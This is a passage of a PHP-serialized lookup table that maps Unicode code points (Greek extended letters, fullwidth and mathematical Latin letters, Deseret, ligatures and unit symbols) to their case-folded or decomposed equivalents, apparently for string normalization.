769;}i:8022;a:3:{i:0;i:965;i:1;i:787;i:2;i:834;}i:8025;a:1:{i:0;i:8017;}i:8027;a:1:{i:0;i:8019;}i:8029;a:1:{i:0;i:8021;}i:8031;a:1:{i:0;i:8023;}i:8040;a:1:{i:0;i:8032;}i:8041;a:1:{i:0;i:8033;}i:8042;a:1:{i:0;i:8034;}i:8043;a:1:{i:0;i:8035;}i:8044;a:1:{i:0;i:8036;}i:8045;a:1:{i:0;i:8037;}i:8046;a:1:{i:0;i:8038;}i:8047;a:1:{i:0;i:8039;}i:8064;a:2:{i:0;i:7936;i:1;i:953;}i:8065;a:2:{i:0;i:7937;i:1;i:953;}i:8066;a:2:{i:0;i:7938;i:1;i:953;}i:8067;a:2:{i:0;i:7939;i:1;i:953;}i:8068;a:2:{i:0;i:7940;i:1;i:953;}i:8069;a:2:{i:0;i:7941;i:1;i:953;}i:8070;a:2:{i:0;i:7942;i:1;i:953;}i:8071;a:2:{i:0;i:7943;i:1;i:953;}i:8072;a:2:{i:0;i:7936;i:1;i:953;}i:8073;a:2:{i:0;i:7937;i:1;i:953;}i:8074;a:2:{i:0;i:7938;i:1;i:953;}i:8075;a:2:{i:0;i:7939;i:1;i:953;}i:8076;a:2:{i:0;i:7940;i:1;i:953;}i:8077;a:2:{i:0;i:7941;i:1;i:953;}i:8078;a:2:{i:0;i:7942;i:1;i:953;}i:8079;a:2:{i:0;i:7943;i:1;i:953;}i:8080;a:2:{i:0;i:7968;i:1;i:953;}i:8081;a:2:{i:0;i:7969;i:1;i:953;}i:8082;a:2:{i:0;i:7970;i:1;i:953;}i:8083;a:2:{i:0;i:7971;i:1;i:953;}i:8084;a:2:{i:0;i:7972;i:1;i:953;}i:8085;a:2:{i:0;i:7973;i:1;i:953;}i:8086;a:2:{i:0;i:7974;i:1;i:953;}i:8087;a:2:{i:0;i:7975;i:1;i:953;}i:8088;a:2:{i:0;i:7968;i:1;i:953;}i:8089;a:2:{i:0;i:7969;i:1;i:953;}i:8090;a:2:{i:0;i:7970;i:1;i:953;}i:8091;a:2:{i:0;i:7971;i:1;i:953;}i:8092;a:2:{i:0;i:7972;i:1;i:953;}i:8093;a:2:{i:0;i:7973;i:1;i:953;}i:8094;a:2:{i:0;i:7974;i:1;i:953;}i:8095;a:2:{i:0;i:7975;i:1;i:953;}i:8096;a:2:{i:0;i:8032;i:1;i:953;}i:8097;a:2:{i:0;i:8033;i:1;i:953;}i:8098;a:2:{i:0;i:8034;i:1;i:953;}i:8099;a:2:{i:0;i:8035;i:1;i:953;}i:8100;a:2:{i:0;i:8036;i:1;i:953;}i:8101;a:2:{i:0;i:8037;i:1;i:953;}i:8102;a:2:{i:0;i:8038;i:1;i:953;}i:8103;a:2:{i:0;i:8039;i:1;i:953;}i:8104;a:2:{i:0;i:8032;i:1;i:953;}i:8105;a:2:{i:0;i:8033;i:1;i:953;}i:8106;a:2:{i:0;i:8034;i:1;i:953;}i:8107;a:2:{i:0;i:8035;i:1;i:953;}i:8108;a:2:{i:0;i:8036;i:1;i:953;}i:8109;a:2:{i:0;i:8037;i:1;i:953;}i:8110;a:2:{i:0;i:8038;i:1;i:953;}i:8111;a:2:{i:0;i:8039;i:1;i:953;}i:8114;a:2:{i:0;i:8048;i:1;i:953;}i:8115;a:2:{i:0;i:945;i:1;i:953;}i:8116;a:2:{i:0;i:940;i:1;i:953;}i:8118;a:2:{i:0;i:945;i:1;i:834;}i:8119;a:3:{i:0;i:945;i:1;i:834;i:2;i:953;}i:8120;a:1:{i:0;i:8112;}i:8121;a:1:{i:0;i:8113;}i:8122;a:1:{i:0;i:8048;}i:8123;a:1:{i:0;i:8049;}i:8124;a:2:{i:0;i:945;i:1;i:953;}i:8126;a:1:{i:0;i:953;}i:8130;a:2:{i:0;i:8052;i:1;i:953;}i:8131;a:2:{i:0;i:951;i:1;i:953;}i:8132;a:2:{i:0;i:942;i:1;i:953;}i:8134;a:2:{i:0;i:951;i:1;i:834;}i:8135;a:3:{i:0;i:951;i:1;i:834;i:2;i:953;}i:8136;a:1:{i:0;i:8050;}i:8137;a:1:{i:0;i:8051;}i:8138;a:1:{i:0;i:8052;}i:8139;a:1:{i:0;i:8053;}i:8140;a:2:{i:0;i:951;i:1;i:953;}i:8146;a:3:{i:0;i:953;i:1;i:776;i:2;i:768;}i:8147;a:3:{i:0;i:953;i:1;i:776;i:2;i:769;}i:8150;a:2:{i:0;i:953;i:1;i:834;}i:8151;a:3:{i:0;i:953;i:1;i:776;i:2;i:834;}i:8152;a:1:{i:0;i:8144;}i:8153;a:1:{i:0;i:8145;}i:8154;a:1:{i:0;i:8054;}i:8155;a:1:{i:0;i:8055;}i:8162;a:3:{i:0;i:965;i:1;i:776;i:2;i:768;}i:8163;a:3:{i:0;i:965;i:1;i:776;i:2;i:769;}i:8164;a:2:{i:0;i:961;i:1;i:787;}i:8166;a:2:{i:0;i:965;i:1;i:834;}i:8167;a:3:{i:0;i:965;i:1;i:776;i:2;i:834;}i:8168;a:1:{i:0;i:8160;}i:8169;a:1:{i:0;i:8161;}i:8170;a:1:{i:0;i:8058;}i:8171;a:1:{i:0;i:8059;}i:8172;a:1:{i:0;i:8165;}i:8178;a:2:{i:0;i:8060;i:1;i:953;}i:8179;a:2:{i:0;i:969;i:1;i:953;}i:8180;a:2:{i:0;i:974;i:1;i:953;}i:8182;a:2:{i:0;i:969;i:1;i:834;}i:8183;a:3:{i:0;i:969;i:1;i:834;i:2;i:953;}i:8184;a:1:{i:0;i:8056;}i:8185;a:1:{i:0;i:8057;}i:8186;a:1:{i:0;i:8060;}i:8187;a:1:{i:0;i:8061;}i:8188;a:2:{i:0;i:969;i:1;i:953;}i:8360;a:2:{i:0;i:114;i:1;i:115;}i:8450;a:1:{i:0;i:99;}i:8451;a:2:{i:0;i:176;i:1;i:99;}i:8455;a:1:{i:0;i:603;}i:8457;a:2:{i:0;i:176;i:1;i:102;}i:8459;a:1:{i:0;i:104;}i:8460;a:1:{i:0;i:104;}i:8461;a:1:{i:0;i:104;}i:8464;a:1:{i:0;i:105;}i:8465;a:1:{i:0;i:105;}i:8466;a:1:{i:0;i:108;}i:8469;a:1:{i:0;i:110;}i:8470;a:2:{i:0;i:110;i:1;i:111;}i:8473;a:1:{i:0;i:112;}i:8474;a:1:{i:0;i:113;}i:8475;a:1:{i:0;i:114;}i:8476;a:1:{i:0;i:114;}i:8477;a:1:{i:0;i:114;}i:8480;a:2:{i:0;i:115;i:1;i:109;}i:8481;a:3:{i:0;i:116;i:1;i:101;i:2;i:108;}i:8482;a:2:{i:0;i:116;i:1;i:109;}i:8484;a:1:{i:0;i:122;}i:8486;a:1:{i:0;i:969;}i:8488;a:1:{i:0;i:122;}i:8490;a:1:{i:0;i:107;}i:8491;a:1:{i:0;i:229;}i:8492;a:1:{i:0;i:98;}i:8493;a:1:{i:0;i:99;}i:8496;a:1:{i:0;i:101;}i:8497;a:1:{i:0;i:102;}i:8499;a:1:{i:0;i:109;}i:8510;a:1:{i:0;i:947;}i:8511;a:1:{i:0;i:960;}i:8517;a:1:{i:0;i:100;}i:8544;a:1:{i:0;i:8560;}i:8545;a:1:{i:0;i:8561;}i:8546;a:1:{i:0;i:8562;}i:8547;a:1:{i:0;i:8563;}i:8548;a:1:{i:0;i:8564;}i:8549;a:1:{i:0;i:8565;}i:8550;a:1:{i:0;i:8566;}i:8551;a:1:{i:0;i:8567;}i:8552;a:1:{i:0;i:8568;}i:8553;a:1:{i:0;i:8569;}i:8554;a:1:{i:0;i:8570;}i:8555;a:1:{i:0;i:8571;}i:8556;a:1:{i:0;i:8572;}i:8557;a:1:{i:0;i:8573;}i:8558;a:1:{i:0;i:8574;}i:8559;a:1:{i:0;i:8575;}i:9398;a:1:{i:0;i:9424;}i:9399;a:1:{i:0;i:9425;}i:9400;a:1:{i:0;i:9426;}i:9401;a:1:{i:0;i:9427;}i:9402;a:1:{i:0;i:9428;}i:9403;a:1:{i:0;i:9429;}i:9404;a:1:{i:0;i:9430;}i:9405;a:1:{i:0;i:9431;}i:9406;a:1:{i:0;i:9432;}i:9407;a:1:{i:0;i:9433;}i:9408;a:1:{i:0;i:9434;}i:9409;a:1:{i:0;i:9435;}i:9410;a:1:{i:0;i:9436;}i:9411;a:1:{i:0;i:9437;}i:9412;a:1:{i:0;i:9438;}i:9413;a:1:{i:0;i:9439;}i:9414;a:1:{i:0;i:9440;}i:9415;a:1:{i:0;i:9441;}i:9416;a:1:{i:0;i:9442;}i:9417;a:1:{i:0;i:9443;}i:9418;a:1:{i:0;i:9444;}i:9419;a:1:{i:0;i:9445;}i:9420;a:1:{i:0;i:9446;}i:9421;a:1:{i:0;i:9447;}i:9422;a:1:{i:0;i:9448;}i:9423;a:1:{i:0;i:9449;}i:13169;a:3:{i:0;i:104;i:1;i:112;i:2;i:97;}i:13171;a:2:{i:0;i:97;i:1;i:117;}i:13173;a:2:{i:0;i:111;i:1;i:118;}i:13184;a:2:{i:0;i:112;i:1;i:97;}i:13185;a:2:{i:0;i:110;i:1;i:97;}i:13186;a:2:{i:0;i:956;i:1;i:97;}i:13187;a:2:{i:0;i:109;i:1;i:97;}i:13188;a:2:{i:0;i:107;i:1;i:97;}i:13189;a:2:{i:0;i:107;i:1;i:98;}i:13190;a:2:{i:0;i:109;i:1;i:98;}i:13191;a:2:{i:0;i:103;i:1;i:98;}i:13194;a:2:{i:0;i:112;i:1;i:102;}i:13195;a:2:{i:0;i:110;i:1;i:102;}i:13196;a:2:{i:0;i:956;i:1;i:102;}i:13200;a:2:{i:0;i:104;i:1;i:122;}i:13201;a:3:{i:0;i:107;i:1;i:104;i:2;i:122;}i:13202;a:3:{i:0;i:109;i:1;i:104;i:2;i:122;}i:13203;a:3:{i:0;i:103;i:1;i:104;i:2;i:122;}i:13204;a:3:{i:0;i:116;i:1;i:104;i:2;i:122;}i:13225;a:2:{i:0;i:112;i:1;i:97;}i:13226;a:3:{i:0;i:107;i:1;i:112;i:2;i:97;}i:13227;a:3:{i:0;i:109;i:1;i:112;i:2;i:97;}i:13228;a:3:{i:0;i:103;i:1;i:112;i:2;i:97;}i:13236;a:2:{i:0;i:112;i:1;i:118;}i:13237;a:2:{i:0;i:110;i:1;i:118;}i:13238;a:2:{i:0;i:956;i:1;i:118;}i:13239;a:2:{i:0;i:109;i:1;i:118;}i:13240;a:2:{i:0;i:107;i:1;i:118;}i:13241;a:2:{i:0;i:109;i:1;i:118;}i:13242;a:2:{i:0;i:112;i:1;i:119;}i:13243;a:2:{i:0;i:110;i:1;i:119;}i:13244;a:2:{i:0;i:956;i:1;i:119;}i:13245;a:2:{i:0;i:109;i:1;i:119;}i:13246;a:2:{i:0;i:107;i:1;i:119;}i:13247;a:2:{i:0;i:109;i:1;i:119;}i:13248;a:2:{i:0;i:107;i:1;i:969;}i:13249;a:2:{i:0;i:109;i:1;i:969;}i:13251;a:2:{i:0;i:98;i:1;i:113;}i:13254;a:4:{i:0;i:99;i:1;i:8725;i:2;i:107;i:3;i:103;}i:13255;a:3:{i:0;i:99;i:1;i:111;i:2;i:46;}i:13256;a:2:{i:0;i:100;i:1;i:98;}i:13257;a:2:{i:0;i:103;i:1;i:121;}i:13259;a:2:{i:0;i:104;i:1;i:112;}i:13261;a:2:{i:0;i:107;i:1;i:107;}i:13262;a:2:{i:0;i:107;i:1;i:109;}i:13271;a:2:{i:0;i:112;i:1;i:104;}i:13273;a:3:{i:0;i:112;i:1;i:112;i:2;i:109;}i:13274;a:2:{i:0;i:112;i:1;i:114;}i:13276;a:2:{i:0;i:115;i:1;i:118;}i:13277;a:2:{i:0;i:119;i:1;i:98;}i:64256;a:2:{i:0;i:102;i:1;i:102;}i:64257;a:2:{i:0;i:102;i:1;i:105;}i:64258;a:2:{i:0;i:102;i:1;i:108;}i:64259;a:3:{i:0;i:102;i:1;i:102;i:2;i:105;}i:64260;a:3:{i:0;i:102;i:1;i:102;i:2;i:108;}i:64261;a:2:{i:0;i:115;i:1;i:116;}i:64262;a:2:{i:0;i:115;i:1;i:116;}i:64275;a:2:{i:0;i:1396;i:1;i:1398;}i:64276;a:2:{i:0;i:1396;i:1;i:1381;}i:64277;a:2:{i:0;i:1396;i:1;i:1387;}i:64278;a:2:{i:0;i:1406;i:1;i:1398;}i:64279;a:2:{i:0;i:1396;i:1;i:1389;}i:65313;a:1:{i:0;i:65345;}i:65314;a:1:{i:0;i:65346;}i:65315;a:1:{i:0;i:65347;}i:65316;a:1:{i:0;i:65348;}i:65317;a:1:{i:0;i:65349;}i:65318;a:1:{i:0;i:65350;}i:65319;a:1:{i:0;i:65351;}i:65320;a:1:{i:0;i:65352;}i:65321;a:1:{i:0;i:65353;}i:65322;a:1:{i:0;i:65354;}i:65323;a:1:{i:0;i:65355;}i:65324;a:1:{i:0;i:65356;}i:65325;a:1:{i:0;i:65357;}i:65326;a:1:{i:0;i:65358;}i:65327;a:1:{i:0;i:65359;}i:65328;a:1:{i:0;i:65360;}i:65329;a:1:{i:0;i:65361;}i:65330;a:1:{i:0;i:65362;}i:65331;a:1:{i:0;i:65363;}i:65332;a:1:{i:0;i:65364;}i:65333;a:1:{i:0;i:65365;}i:65334;a:1:{i:0;i:65366;}i:65335;a:1:{i:0;i:65367;}i:65336;a:1:{i:0;i:65368;}i:65337;a:1:{i:0;i:65369;}i:65338;a:1:{i:0;i:65370;}i:66560;a:1:{i:0;i:66600;}i:66561;a:1:{i:0;i:66601;}i:66562;a:1:{i:0;i:66602;}i:66563;a:1:{i:0;i:66603;}i:66564;a:1:{i:0;i:66604;}i:66565;a:1:{i:0;i:66605;}i:66566;a:1:{i:0;i:66606;}i:66567;a:1:{i:0;i:66607;}i:66568;a:1:{i:0;i:66608;}i:66569;a:1:{i:0;i:66609;}i:66570;a:1:{i:0;i:66610;}i:66571;a:1:{i:0;i:66611;}i:66572;a:1:{i:0;i:66612;}i:66573;a:1:{i:0;i:66613;}i:66574;a:1:{i:0;i:66614;}i:66575;a:1:{i:0;i:66615;}i:66576;a:1:{i:0;i:66616;}i:66577;a:1:{i:0;i:66617;}i:66578;a:1:{i:0;i:66618;}i:66579;a:1:{i:0;i:66619;}i:66580;a:1:{i:0;i:66620;}i:66581;a:1:{i:0;i:66621;}i:66582;a:1:{i:0;i:66622;}i:66583;a:1:{i:0;i:66623;}i:66584;a:1:{i:0;i:66624;}i:66585;a:1:{i:0;i:66625;}i:66586;a:1:{i:0;i:66626;}i:66587;a:1:{i:0;i:66627;}i:66588;a:1:{i:0;i:66628;}i:66589;a:1:{i:0;i:66629;}i:66590;a:1:{i:0;i:66630;}i:66591;a:1:{i:0;i:66631;}i:66592;a:1:{i:0;i:66632;}i:66593;a:1:{i:0;i:66633;}i:66594;a:1:{i:0;i:66634;}i:66595;a:1:{i:0;i:66635;}i:66596;a:1:{i:0;i:66636;}i:66597;a:1:{i:0;i:66637;}i:119808;a:1:{i:0;i:97;}i:119809;a:1:{i:0;i:98;}i:119810;a:1:{i:0;i:99;}i:119811;a:1:{i:0;i:100;}i:119812;a:1:{i:0;i:101;}i:119813;a:1:{i:0;i:102;}i:119814;a:1:{i:0;i:103;}i:119815;a:1:{i:0;i:104;}i:119816;a:1:{i:0;i:105;}i:119817;a:1:{i:0;i:106;}i:119818;a:1:{i:0;i:107;}i:119819;a:1:{i:0;i:108;}i:119820;a:1:{i:0;i:109;}i:119821;a:1:{i:0;i:110;}i:119822;a:1:{i:0;i:111;}i:119823;a:1:{i:0;i:112;}i:119824;a:1:{i:0;i:113;}i:119825;a:1:{i:0;i:114;}i:119826;a:1:{i:0;i:115;}i:119827;a:1:{i:0;i:116;}i:119828;a:1:{i:0;i:117;}i:119829;a:1:{i:0;i:118;}i:119830;a:1:{i:0;i:119;}i:119831;a:1:{i:0;i:120;}i:119832;a:1:{i:0;i:121;}i:119833;a:1:{i:0;i:122;}i:119860;a:1:{i:0;i:97;}i:119861;a:1:{i:0;i:98;}i:119862;a:1:{i:0;i:99;}i:119863;a:1:{i:0;i:100;}i:119864;a:1:{i:0;i:101;}i:119865;a:1:{i:0;i:102;}i:119866;a:1:{i:0;i:103;}i:119867;a:1:{i:0;i:104;}i:119868;a:1:{i:0;i:105;}i:119869;a:1:{i:0;i:106;}i:119870;a:1:{i:0;i:107;}i:119871;a:1:{i:0;i:108;}i:119872;a:1:{i:0;i:109;}i:119873;a:1:{i:0;i:110;}i:119874;a:1:{i:0;i:111;}i:119875;a:1:{i:0;i:112;}i:119876;a:1:{i:0;i:113;}i:119877;a:1:{i:0;i:114;}i:119878;a:1:{i:0;i:115;}i:119879;a:1:{i:0;i:116;}i:119880;a:1:{i:0;i:117;}i:119881;a:1:{i:0;i:118;}i:119882;a:1:{i:0;i:119;}i:119883;a:1:{i:0;i:120;}i:119884;a:1:{i:0;i:121;}i:119885;a:1:{i:0;i:122;}i:119912;a:1:{i:0;i:97;}i:119913;a:1:{i:0;i:98;}i:119914;a:1:{i:0;i:99;}i:119915;a:1:{i:0;i:100;}i:119916;a:1:{i:0;i:101;}i:119917;a:1:{i:0;i:102;}i:119918;a:1:{i:0;i:103;}i:119919;a:1:{i:0;i:104;}i:119920;a:1:{i:0;i:105;}i:119921;a:1:{i:0;i:106;}i:119922;a:1:{i:0;i:107;}i:119923;a:1:{i:0;i:108;}i:119924;a:1:{i:0;i:109;}i:119925;a:1:{i:0;i:110;}i:119926;a:1:{i:0;i:111;}i:119927;a:1:{i:0;i:112;}i:119928;a:1:{i:0;i:113;}i:119929;a:1:{i:0;i:114;}i:119930;a:1:{i:0;i:115;}i:119931;a:1:{i:0;i:116;}i:119932;a:1:{i:0;i:117;}i:119933;a:1:{i:0;i:118;}i:119934;a:1:{i:0;i:119;}i:119935;a:1:{i:0;i:120;}i:119936;a:1:{i:0;i:121;}i:119937;a:1:{i:0;i:122;}i:119964;a:1:{i:0;i:97;}i:119966;a:1:{i:0;i:99;}i:119967;a:1:{i:0;i:100;}i:119970;a:1:{i:0;i:103;}i:119973;a:1:{i:0;i:106;}i:119974;a:1:{i:0;i:107;}i:119977;a:1:{i:0;i:110;}i:119978;a:1:{i:0;i:111;}i:119979;a:1:{i:0;i:112;}i:119980;a:1:{i:0;i:113;}i:119982;a:1:{i:0;i:115;}i:119983;a:1:{i:0;i:116;}i:119984;a:1:{i:0;i:117;}i:119985;a:1:{i:0;i:118;}i:119986;a:1:{i:0;i:119;}i:119987;a:1:{i:0;i:120;}i:119988;a:1:{i:0;i:121;}i:119989;a:1:{i:0;i:122;}i:120016;a:1:{i:0;i:97;}i:120017;a:1:{i:0;i:98;}i:120018;a:1:{i:0;i:99;}i:120019;a:1:{i:0;i:100;}i:120020;a:1:{i:0;i:101;}i:120021;a:1:{i:0;i:102;}i:120022;a:1:{i:0;i:103;}i:120023;a:1:{i:0;i:104;}i:120024;a:1:{i:0;i:105;}i:120025;a:1:{i:0;i:106;}i:120026;a:1:{i:0;i:107;}i:120027;a:1:{i:0;i:108;}i:120028;a:1:{i:0;i:109;}i:120029;a:1:{i:0;i:110;}i:120030;a:1:{i:0;i:111;}i:120031;a:1:{i:0;i:112;}i:120032;a:1:{i:0;i:113;}i:120033;a:1:{i:0;i:114;}i:120034;a:1:{i:0;i:115;}i:120035;a:1:{i:0;i:116;}i:120036;a:1:{i:0;i:117;}i:120037;a:1:{i:0;i:118;}i:120038;a:1:{i:0;i:119;}i:120039;a:1:{i:0;i:120;}i:120040;a:1:{i:0;i:121;}i:120041;a:1:{i:0;i:122;}i:120068;a:1:{i:0;i:97;}i:120069;a:1:{i:0;i:98;}i:120071;a:1:{i:0;i:100;}i:120072;a:1:{i:0;i:101;}i:120073;a:1:{i:0;i:102;}i:120074;a:1:{i:0;i:103;}i:120077;a:1:{i:0;i:106;}i:120078;a:1:{i:0;i:107;}i:120079;a:1:{i:0;i:108;}i:120080;a:1:{i:0;i:109;}i:120081;a:1:{i:0;i:110;}i:120082;a:1:{i:0;i:111;}i:120083;a:1:{i:0;i:112;}i:120084;a:1:{i:0;i:113;}i:120086;a:1:{i:0;i:115;}i:120087;a:1:{i:0;i:116;}i:120088;a:1:{i:0;i:117;}i:120089;a:1:{i:0;i:118;}i:120090;a:1:{i:0;i:119;}i:120091;a:1:{i:0;i:120;}i:120092;a:1:{i:0;i:121;}i:120120;a:1:{i:0;i:97;}i:120121;a:1:{i:0;i:98;}i:120123;a:1:{i:0;i:100;}i:120124;a:1:{i:0;i:101;}i:120125;a:1:{i:0;i:102;}i:120126;a:1:{i:0;i:103;}i:120128;a:1:{i:0;i:105;}i:120129;a:1:{i:0;i:106;}i:120130;a:1:{i:0;i:107;}i:120131;a:1:{i:0;i:108;}i:120132;a:1:{i:0;i:109;}i:120134;a:1:{i:0;i:111;}i:120138;a:1:{i:0;i:115;}i:120139;a:1:{i:0;i:116;}i:120140;a:1:{i:0;i:117;}i:120141;a:1:{i:0;i:118;}i:120142;a:1:{i:0;i:119;}i:120143;a:1:{i:0;i:120;}i:120144;a:1:{i:0;i:121;}i:120172;a:1:{i:0;i:97;}i:120173;a:1:{i:0;i:98;}i:120174;a:1:{i:0;i:99;}i:120175;a:1:{i:0;i:100;}i:120176;a:1:{i:0;i:101;}i:120177;a:1:{i:0;i:102;}i:120178;a:1:{i:0;i:103;}i:120179;a:1:{i:0;i:104;}i:120180;a:1:{i:0;i:105;}i:120181;a:1:{i:0;i:106;}i:120182;a:1:{i:0;i:107;}i:120183;a:1:{i:0;i:108;}i:120184;a:1:{i:0;i:109;}i:120185;a:1:{i:0;i:110;}i:120186;a:1:{i:0;i:111;}i:120187;a:1:{i:0;i:112;}i:120188;a:1:{i:0;i:113;}i:120189;a:1:{i:0;i:114;}i:120190;a:1:{i:0;i:115;}i:120191;a:1:{i:0;i:116;}i:120192;a:1:{i:0;i:117;}i:120193;a:1:{i:0;i:118;}i:120194;a:1:{i:0;i:119;}i:120195;a:1:{i:0;i:120;}i:120196;a:1:{i:0;i:121;}i:120197;a:1:{i:0;i:122;}i:120224;a:1:{i:0;i:97;}i:120225;a:1:{i:0;i:98;}i:120226;a:1:{i:0;i:99;}i:120227;a:1:{i:0;i:100;}i:120228;a:1:{i:0;i:101;}i:120229;a:1:{i:0;i:102;}i:120230;a:1:{i:0;i:103;}i:120231;a:1:{i:0;i:104;}i:120232;a:1:{i:0;i:105;}i:120233;a:1:{i:0;i:106;}i:120234;a:1:{i:0;i:107;}i:120235;a:1:{i:0;i:108;}i:120236;a:1:{i:0;i:109;}i:120237;a:1:{i:0;i:110;}i:120238;a:1:{i:0;i:111;}i:120239;a:1:{i:0;i:112;}i:120240;a:1:{i:0;i:113;}i:120241;a:1:{i:0;i:114;}i:120242;a:1:{i:0;i:115;}i:120243;a:1:{i:0;i:116;}i:120244;a:1:{i:0;i:117;}i:120245;a:1:{i:0;i:118;}i:120246;a:1:{i:0;i:119;}i:120247;a:1:{i:0;i:120;}i:120248;a:1:{i:0;i:121;}i:120249;a:1:{i:0;i:122;}i:120276;a:1:{i:0;i:97;}i:120277;a:1:{i:0;i:98;}i:120278;a:1:{i:0;i:99;}i:120279;a:1:{i:0;i:100;}i:120280;a:1:{i:0;i:101;}i:120281;a:1:{i:0;i:102;}i:120282;a:1:{i:0;i:103;}i:120283;a:1:{i:0;i:104;}i:120284;a:1:{i:0;i:105;}i:120285;a:1:{i:0;i:106;}i:120286;a:1:{i:0;i:107;}i:120287;a:1:{i:0;i:108;}i:120288;a:1:{i:0;i:109;}i:120289;a:1:{i:0;i:110;}i:120290;a:1:{i:0;i:111;}i:120291;a:1:{i:0;i:112;}i:120292;a:1:{i:0;i:113;}i:120293;a:1:{i:0;i:114;}i:120294;a:1:{i:0;i:115;}i:120295;a:1:{i:0;i:116;}i:120296;a:1:{i:0;i:117;}i:120297;a:1:{i:0;i:118;}i:120298;a:1:{i:0;i:119;}i:120299;a:1:{i:0;i:120;}i:120300;a:1:{i:0;i:121;}i:120301;a:1:{i:0;i:122;}i:120328;a:1:{i:0;i:97;}i:120329;a:1:{i:0;i:98;}i:120330;a:1:{i:0;i:99;}i:120331;a:1:{i:0;i:100;}i:120332;a:1:{i:0;i:101;}i:120333;a:1:{i:0;i:102;}i:120334;a:1:{i:0;i:103;}i:120335;a:1:{i:0;i:104;}i:120336;a:1:{i:0;i:105;}i:120337;a:1:{i:0;i:106;}i:120338;a:1:{i:0;i:107;}i:120339;a:1:{i:0;i:108;}i:120340;a:1:{i:0;i:109;}i:120341;a:1:{i:0;i:110;}i:120342;a:1:{i:0;i:111;}i:120343;a:1:{i:0;i:112;}i:120344;a:1:{i:0;i:113;}i:120345;a:1:{i:0;i:114;}i:120346;a:1:{i:0;i:115;}i:120347;a:1:{i:0;i:116;}i:120348;a:1:{i:0;i:117;}i:120349;a:1:{i:0;i:118;}i:120350;a:1:{i:0;i:119;}i:120351;a:1:{i:0;i:120;}i:120352;a:1:{i:0;i:121;}i:120353;a:1:{i:0;i:122;}i:120380;a:1:{i:0;i:97;}i:120381;a:1:{i:0;i:98;}i:120382;a:1:{i:0;i:99;}i:120383;a:1:{i:0;i:100;}i:120384;a:1:{i:0;i:101;}i:120385;a:1:{i:0;i:102;}i:120386;a:1:{i:0;i:103;}i:120387;a:1:{i:0;i:104;}i:120388;a:1:{i:0;i:105;}i:120389;a:1:{i:0;i:106;}i:120390;a:1:{i:0;i:107;}i:120391;a:1:{i:0;i:108;}i:120392;a:1:{i:0;i:109;}i:120393;a:1:{i:0;i:110;}i:120394;a:1:{i:0;i:111;}i:120395;a:1:{i:0;i:112;}i:120396;a:1:{i:0;i:113;}i:120397;a:1:{i:0;i:114;}i:120398;a:1:{i:0;i:115;}i:120399;a:1:{i:0;i:116;}i:120400;a:1:{i:0;i:117;}i:120401;a:1:{i:0;i:118;}i:120402;a:1:{i:0;i:119;}i:120403;a:1:{i:0;i:120;}i:120404;a:1:{i:0;i:121;}i:120405;a:1:{i:0;i:122;}i:120432;a:1:{i:0;i:97;}i:120433;a:1:{i:0;i:98;}i:120434;a:1:{i:0;i:99;}i:120435;a:1:{i:0;i:100;}i:120436;a:1:{i:0;i:101;}i:120437;a:1:{i:0;i:102;}i:120438;a:1:{i:0;i:103;}i:120439;a:1:{i:0;i:104;}i:120440;a:1:{i:0;i:105;}i:120441;a:1:{i:0;i:106;}i:120442;a:1:{i:0;i:107;}i:120443;a:1:{i:0;i:108;}i:120444;a:1:{i:0;i:109;}i:120445;a:1:{i:0;i:110;}i:120446;a:1:{i:0;i:111;}i:120447;a:1:{i:0;i:112;}i:120448;a:1:{i:0;i:113;}i:120449;a:1:{i:0;i:114;}i:120450;a:1:{i:0;i:115;}i:120451;a:1:{i:0;i:116;}i:120452;a:1:{i:0;i:117;}i:120453;a:1:{i:0;i:118;}i:120454;a:1:{i:0;i:119;}i:120455;a:1:{i:0;i:120;}i:120456;a:1:{i:0;i:121;}i:120457;a:1:{i:0;i:122;}i:120488;a:1:{i:0;i:945;}i:120489;a:1:{i:0;i:946;}i:120490;a:1:{i:0;i:947;}i:120491;a:1:{i:0;i:948;}i:120492;a:1:{i:0;i:949;}i:120493;a:1:{i:0;i:950;}i:120494;a:1:{i:0;i:951;}i:120495;a:1:{i:0;i:952;}i:120496;a:1:{i:0;i:953;}i:120497;a:1:{i:0;i:954;}i:120498;a:1:{i:0;i:955;}i:120499;a:1:{i:0;i:956;}i:120500;a:1:{i:0;i:957;}i:120501;a:1:{i:0;i:958;}i:120502;a:1:{i:0;i:959;}i:120503;a:1:{i:0;i:960;}i:120504;a:1:{i:0;i:961;}i:120505;a:1:{i:0;i:952;}i:120506;a:1:{i:0;i:963;}i:120507;a:1:{i:0;i:964;}i:120508;a:1:{i:0;i:965;}i:120509;a:1:{i:0;i:966;}i:120510;a:1:{i:0;i:967;}i:120511;a:1:{i:0;i:968;}i:120512;a:1:{i:0;i:969;}i:120531;a:1:{i:0;i:963;}i:120546;a:1:{i:0;i:945;}i:120547;a:1:{i:0;i:946;}i:120548;a:1:{i:0;i:947;}i:120549;a:1:{i:0;i:948;}i:120550;a:1:{i:0;i:949;}i:120551;a:1:{i:0;i:950;}i:120552;a:1:{i:0;i:951;}i:120553;a:1:{i:0;i:952;}i:120554;a:1:{i:0;i:953;}i:120555;a:1:{i:0;i:954;}i:120556;a:1:{i:0;i:955;}i:120557;a:1:{i:0;i:956;}i:120558;a:1:{i:0;i:957;}i:120559;a:1:{i:0;i:958;}i:120560;a:1:{i:0;i:959;}i:120561;a:1:{i:0;i:960;}i:120562;a:1:{i:0;i:961;}i:120563;a:1:{i:0;i:952;}i:120564;a:1:{i:0;i:963;}i:120565;a:1:{i:0;i:964;}i:120566;a:1:{i:0;i:965;}i:120567;a:1:{i:0;i:966;}i:120568;a:1:{i:0;i:967;}i:120569;a:1:{i:0;i:968;}i:120570;a:1:{i:0;i:969;}i:120589;a:1:{i:0;i:963;}i:120604;a:1:{i:0;i:945;}i:120605;a:1:{i:0;i:946;}i:120606;a:1:{i:0;i:947;}i:120607;a:1:{i:0;i:948;}i:120608;a:1:{i:0;i:949;}i:120609;a:1:{i:0;i:950;}i:120610;a:1:{i:0;i:951;}i:120611;a:1:{i:0;i:952;}i:120612;a:1:{i:0;i:953;}i:120613;a:1:{i:0;i:954;}i:120614;a:1:{i:0;i:955;}i:120615;a:1:{i:0;i:956;}i:120616;a:1:{i:0;i:957;}i:120617;a:1:{i:0;i:958;}i:120618;a:1:{i:0;i:959;}i:120619;a:1:{i:0;i:960;}i:120620;a:1:{i:0;i:961;}i:120621;a:1:{i:0;i:952;}i:120622;a:1:{i:0;i:963;}i:120623;a:1:{i:0;i:964;}i:120624;a:1:{i:0;i:965;}i:120625;a:1:{i:0;i:966;}i:120626;a:1:{i:0;i:967;}i:120627;a:1:{i:0;i:968;}i:120628;a:1:{i:0;i:969;}i:1